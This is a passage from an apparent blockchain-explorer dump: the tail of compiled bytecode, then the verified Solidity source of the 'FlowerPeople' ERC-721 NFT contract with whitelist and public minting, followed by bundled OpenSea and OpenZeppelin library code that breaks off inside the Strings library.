0000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b6140ce81613e96565b81146140d957600080fd5b50565b6140e581613ea8565b81146140f057600080fd5b50565b6140fc81613eb4565b811461410757600080fd5b50565b61411381613f00565b811461411e57600080fd5b5056fea264697066735822122097a8c3d374ec99d367d9e08ba491e36a4021bc6867ad8b4584fbb46fbbe9b71464736f6c63430008000033
[ 10, 9, 5 ]
0xf20796DfEf019c77bEF4909715d4E5a90D470CEE
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC721Tradable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; contract FlowerPeople is ERC721Tradable { bytes32 public merkleRoot = 0x488dcdcbb7c3cdb55d7325a488ba3907e093a50020b3f70f0f03f6743d5cbd3e; bool public salePublicIsActive; bool public saleWhitelistIsActive; uint256 public maxByMint; uint256 public maxSupply; uint256 public maxPublicSupply; uint256 public maxReservedSupply; uint256 public fixedPrice; address public daoAddress; string internal baseTokenURI; mapping(address => bool) internal whitelistClaimed; using Counters for Counters.Counter; Counters.Counter private _totalPublicSupply; Counters.Counter private _totalReservedSupply; constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress ) ERC721Tradable(_name, _symbol, _proxyRegistryAddress) { maxByMint = 10; maxSupply = 5555; maxReservedSupply = 555; maxPublicSupply = maxSupply - maxReservedSupply; fixedPrice = 0.035 ether; daoAddress = 0xfC4C44be66b326F9318b5FA30B56681B22F25eb7; baseTokenURI = "https://flowerpeoplenft.xyz/api/meta/1/"; } function contractURI() public pure returns (string memory) { return "https://flowerpeoplenft.xyz/api/contract/1"; } function _mintN(uint numberOfTokens) private { require(numberOfTokens <= maxByMint, "Max mint exceeded"); require(_totalPublicSupply.current() + numberOfTokens <= maxPublicSupply, "Max supply reached"); for(uint i = 0; i < numberOfTokens; i++) { _totalPublicSupply.increment(); _safeMint(msg.sender, this.totalPublicSupply()); } } function mintPublic(uint numberOfTokens) external payable { require(salePublicIsActive, "Sale not active"); require(fixedPrice * numberOfTokens <= msg.value, "Eth val incorrect"); _mintN(numberOfTokens); } function mintWhitelist(uint numberOfTokens, bytes32[] calldata _merkleProof) external payable { require(saleWhitelistIsActive, "Whitelist sale not active"); require(!whitelistClaimed[msg.sender], "Address has already claimed"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Must be whitelisted"); require(fixedPrice * numberOfTokens <= msg.value, "Eth val incorrect"); whitelistClaimed[msg.sender] = true; _mintN(numberOfTokens); } function mintReserved(address _to, uint numberOfTokens) external onlyOwner { require(_totalReservedSupply.current() + numberOfTokens <= maxReservedSupply, "Max supply reached"); for(uint i = 0; i < numberOfTokens; i++) { _totalReservedSupply.increment(); _safeMint(_to, maxPublicSupply + this.totalReservedSupply()); } } function tokenURI(uint256 _tokenId) override public view returns (string memory) { return string(abi.encodePacked(baseTokenURI, Strings.toString(_tokenId))); } function totalSupply() public view returns (uint256) { return _totalPublicSupply.current() + _totalReservedSupply.current(); } function totalPublicSupply() public view returns (uint256) { return _totalPublicSupply.current(); } function totalReservedSupply() public view returns (uint256) { return _totalReservedSupply.current(); } function flipSalePublicStatus() external onlyOwner { salePublicIsActive = !salePublicIsActive; } function flipSaleWhitelistStatus() external onlyOwner { saleWhitelistIsActive = !saleWhitelistIsActive; } function setDaoAddress(address _daoAddress) external onlyOwner { daoAddress = _daoAddress; } function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner { baseTokenURI = _baseTokenURI; } function setFixedPrice(uint256 _fixedPrice) external onlyOwner { fixedPrice = _fixedPrice; } function setMaxByMint(uint256 _maxByMint) external onlyOwner { maxByMint = _maxByMint; } function withdraw() external onlyOwner { uint balance = address(this).balance; require(balance > 0); _withdraw(daoAddress, balance); } function _withdraw(address _address, uint256 _amount) private { (bool success, ) = _address.call{value: _amount}(""); require(success, "Tx failed"); } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { merkleRoot = _merkleRoot; } function isWhitelistClaimed(address _address) public view returns (bool) { return whitelistClaimed[_address]; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./common/meta-transactions/ContentMixin.sol"; import "./common/meta-transactions/NativeMetaTransaction.sol"; contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /** * @title ERC721Tradable */ abstract contract ERC721Tradable is ERC721, ContextMixin, NativeMetaTransaction, Ownable { address public proxyRegistryAddress; constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress ) ERC721(_name, _symbol) { proxyRegistryAddress = _proxyRegistryAddress; _initializeEIP712(_name); } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings. */ function isApprovedForAll(address owner, address operator) override public view returns (bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } /** * This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea. */ function _msgSender() internal override view returns (address sender) { return ContextMixin.msgSender(); } function setProxyRegistryAddress(address _proxyRegistryAddress) external onlyOwner { proxyRegistryAddress = _proxyRegistryAddress; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract ContextMixin { function msgSender() internal view returns (address payable sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = payable(msg.sender); } return sender; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { SafeMathUpgradeable as SafeMath } from "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol"; import "./EIP712Base.sol"; contract NativeMetaTransaction is EIP712Base { using SafeMath for uint256; bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256( bytes( "MetaTransaction(uint256 nonce,address from,bytes functionSignature)" ) ); event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); mapping(address => uint256) nonces; /* * Meta transaction structure. * No point of including value field here as if user is doing value transfer then he has the funds to pay for gas * He should call the desired function directly in that case. */ struct MetaTransaction { uint256 nonce; address from; bytes functionSignature; } function executeMetaTransaction( address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV ) public payable returns (bytes memory) { MetaTransaction memory metaTx = MetaTransaction({ nonce: nonces[userAddress], from: userAddress, functionSignature: functionSignature }); require( verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match" ); // increase nonce for user (to avoid re-use) nonces[userAddress] = nonces[userAddress].add(1); emit MetaTransactionExecuted( userAddress, payable(msg.sender), functionSignature ); // Append userAddress and relayer address at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call( abi.encodePacked(functionSignature, userAddress) ); require(success, "Function call not successful"); return returnData; } function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) { return keccak256( abi.encode( META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature) ) ); } function getNonce(address user) public view returns (uint256 nonce) { nonce = nonces[user]; } function verify( address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV ) internal view returns (bool) { require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER"); return signer == ecrecover( toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 